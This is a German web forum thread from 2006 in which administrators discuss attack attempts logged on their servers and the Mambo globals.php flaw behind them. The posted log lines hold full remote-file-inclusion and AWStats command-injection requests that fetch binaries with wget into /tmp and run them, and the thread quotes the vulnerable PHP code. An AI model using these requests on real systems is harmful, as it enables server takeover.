Mambo PHP vulnerability - (Alles rund um IT-Security)

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Mambo PHP vulnerability - (Alles rund um IT-Security)

    Auszug aus dem Logfile:
    64.195.0.160 - - [05/Mar/2006:04:40:39 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://219.00.000.00/cmd.gif?&cmd=cd%20/tmp;wget%20219.00.000.00/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 403
    (und ähnliche Einträge)
    64.195.0.160 - - [05/Mar/2006:04:40:47 +0100] "POST /xmlrpc.php HTTP/1.1" 404 403
    64.195.0.160 - - [05/Mar/2006:04:40:48 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 403

    Auszug aus (Quelle: http://www.derkeiler.com/Mailing-Lis...5-11/0535.html):

    a vulnerability exist in globals.php when register_globals is off and allow
    remote code inclusion
    this a GLOBALS overwrite
    in components/com_content/content.html.php
    there is the line:
    require_once( $GLOBALS['mosConfig_absolute_path'] .
    '/includes/HTML_toolbar.php' );


    ok


    da globals.php:
    if (!ini_get('register_globals')) {
    while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value;
    while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value;
    while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
    while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
    while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value;
    while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value;
    while(list($key,$value)=@each($_SESSION)) $GLOBALS[$key]=$value;
    foreach($_FILES as $key => $value){
    $GLOBALS[$key]=$_FILES[$key]['tmp_name'];
    foreach($value as $ext => $value2){
    $key2 = $key . '_' . $ext;
    $GLOBALS[$key2] = $value2;
    }
    }
    }


    da fake protect in mambo.php:


    if (in_array( 'globals', array_keys( array_change_key_case( $_REQUEST,
    CASE_LOWER ) ) ) ) {
    die( 'Fatal error. Global variable hack attempted.' );
    }
    if (in_array( '_post', array_keys( array_change_key_case( $_REQUEST,
    CASE_LOWER ) ) ) ) {
    die( 'Fatal error. Post variable hack attempted.' );
    }

    Eigentlich gibt'z dazu keine Frage,

    höchstens ob save_mode=On schützen würde.
    Zuletzt geändert von globqluqqlo; 17.03.2006, 02:14.

  • #2
    Re: Mambo PHP vulnerability - (Alles rund um IT-Security)

    Original geschrieben von globqluqqlo
    Eigentlich gibt'z dazu keine Frage,

    höchstens ob save_mode=On schützen würde.
    Davor wirklich schützen würde saubere Programmierung - aber mit der scheinen's die Mambo-Frickler (inzwischen Joomla IIRC, oder ist das nicht betroffen?) ja eh nicht so zu haben, wie die vermehrten Meldungen bzgl. dieses Systems in letzter Zeit zeigen.
    this a GLOBALS overwrite
    Ja, und absolut hausgemachtes Problem.

    Alle möglichen von extern kommenden Parameter so wie im Codeauszug gezeigt in $GLOBALS reinzuballern und dann auch noch anschließend offenbar ungeprüft zu verwenden, kann man ja wirklich schon nicht mehr anders als dämlich nennen.
    I don't believe in rebirth. Actually, I never did in my whole lives.

    Kommentar


    • #3
      Wenn man sich diese Codesamples anschaut ist's schon heftig wie dämlich diese Entwickler sind ... naja ... hauptsache OS und für kostnix ... Als Provider bleibt da nur alles dicht machten (also vom Prinzip her die Verwendung solcher Scriptwi*e zu unterbinden) ... oder die Verwender nach vorherigem Hinweis im Schadensfall in Haftung zu nehmen. Nur so kann sowas ausgemerzt werden!
      carpe noctem

      [color=blue]Bitte keine Fragen per EMail ... im Forum haben alle was davon ... und ich beantworte EMail-Fragen von Foren-Mitgliedern in der Regel eh nicht![/color]
      [color=red]Hinweis: Ich bin weder Mitglied noch Angestellter von ebiz-consult! Alles was ich hier von mir gebe tue ich in eigener Verantwortung![/color]

      Kommentar


      • #4
        Ich habe ja nur ein paar Stunden port80 aufgemacht. Mich gibt's eigentlich gar nicht, und schon wieder was im log:

        219.149.211.2 - - [13/Mar/2006:11:37:46 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20211%2e234%2e113%2e241%2fscripz%3bchmod%20 %2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 403
        219.149.211.2 - - [13/Mar/2006:11:37:47 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20211%2e234%2e113%2e241%2fscripz%3bchmod%20 %2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 406
        219.149.211.2 - - [13/Mar/2006:11:37:49 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20211%2e234%2e113%2e241%2fscripz%3bchmod%20 %2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 406
        219.149.211.2 - - [13/Mar/2006:11:37:54 +0100] "POST /xmlrpc.php HTTP/1.1" 404 403
        219.149.211.2 - - [13/Mar/2006:11:37:55 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 403

        und noch ein paar weitere POSTS auf Orte, wo xmlrpc.php sein könnte.

        Nicht dass ich mich beklagen würde, es nimmt mir die Naivität gerade am Anfang.

        heise-news Meldung vom 12.08.2005 11:39

        Website-Statistiker AWStats führt beliebige Befehle aus

        Die weit verbreitete Website-Statistik-Software AWStats filtert Benutzereingaben nicht richtig und ermöglicht so, mit den Privilegien des Webservers beliebige Systemkommandos auf dem Server auszuführen.
        Zuletzt geändert von globqluqqlo; 13.03.2006, 23:13.

        Kommentar


        • #5
          130.205.32.7 - - [16/Mar/2006:06:15:42 +0100] "GET /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxx/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 403

          130.205.32.7 - - [16/Mar/2006:06:15:43 +0100] "GET /modules/includes/functions_admin.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxxhaita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 403

          130.205.32.7 - - [16/Mar/2006:06:15:44 +0100] "GET /PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxx/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 403

          130.205.32.7 - - [16/Mar/2006:06:15:46 +0100] "GET /modules/Forums/admin/admin_styles.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxx/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 403

          130.205.32.7 - - [16/Mar/2006:06:15:47 +0100] "GET /Forums/admin/admin_styles.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxx/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 403

          130.205.32.7 - - [16/Mar/2006:06:15:49 +0100] "GET /phpBB2/admin_styles.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxx/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 404 403

          130.205.32.7 - - [16/Mar/2006:06:15:48 +0100] "GET /phpBB2/admin/admin_styles.php?phpbb_root_path=http://xxxxxxxxxxx/yyyyy?&cmd=cd%20/tmp;wget%20xxxxxxxxxxxx/haita;chmod%20744%20haita;./haita;echo%20YYY;echo| HTTP/1.1" 200 741

          Diese Angriffe - es werden diverse plausible Pfade probiert - auf admin_styles-php und admin_functions.php, neueste Version, beruhen nur auf
          - register_globals=On
          - allow_url_fopen=On.

          Am ersteren ist server selber schuld.

          Das zweite ist tückischer. Zum einen wurde es nachträglich in php eingebaut, und es gilt ausser für fopen() auch für require() und include() (darauf beruht die Attacke). Schliesslich ist url_fopen() eine nützliche feature, die auf keine andere, kontrolliertere Art zugänglich ist, zumindest wüsste ich nicht wie.

          aus der php-Dokumentation:
          allow_url_fopen:
          This setting can only be set in php.ini due to security reasons.
          Das macht es gerade noch unsicherer - oder überflüssig.
          Zuletzt geändert von globqluqqlo; 17.03.2006, 02:29.

          Kommentar


          • #6
            Original geschrieben von globqluqqlo
            Das macht es gerade noch unsicherer - oder überflüssig.
            Wieso?! ... was hast Du denn jetzt schon wieder nicht verstanden?
            carpe noctem

            [color=blue]Bitte keine Fragen per EMail ... im Forum haben alle was davon ... und ich beantworte EMail-Fragen von Foren-Mitgliedern in der Regel eh nicht![/color]
            [color=red]Hinweis: Ich bin weder Mitglied noch Angestellter von ebiz-consult! Alles was ich hier von mir gebe tue ich in eigener Verantwortung![/color]

            Kommentar


            • #7
              Original geschrieben von globqluqqlo
              Das macht es gerade noch unsicherer - oder überflüssig.

              Wieso?! ... was hast Du denn jetzt schon wieder nicht verstanden?
              Im grossen und ganzen habe ich es, aber allow_url_fopen ist PHP_INI_SYSTEM.

              Setze man im php.ini allow_url_fopen=Off, kann man die wrappermodules nicht brauchen (und man hätte sie gar nicht implementieren müssen) dafür ist man auf der sicheren Seite.

              Vielleicht weiss jd wie man die wrappermodules selektiver brauchen kann.
              Zuletzt geändert von globqluqqlo; 19.03.2006, 19:16.

              Kommentar


              • #8
                Original geschrieben von globqluqqlo
                Vielleicht weiss jd wie man die wrappermodules selektiver brauchen kann.
                http:// und ftp:// mit CURL.

                Kommentar

                Lädt...
                X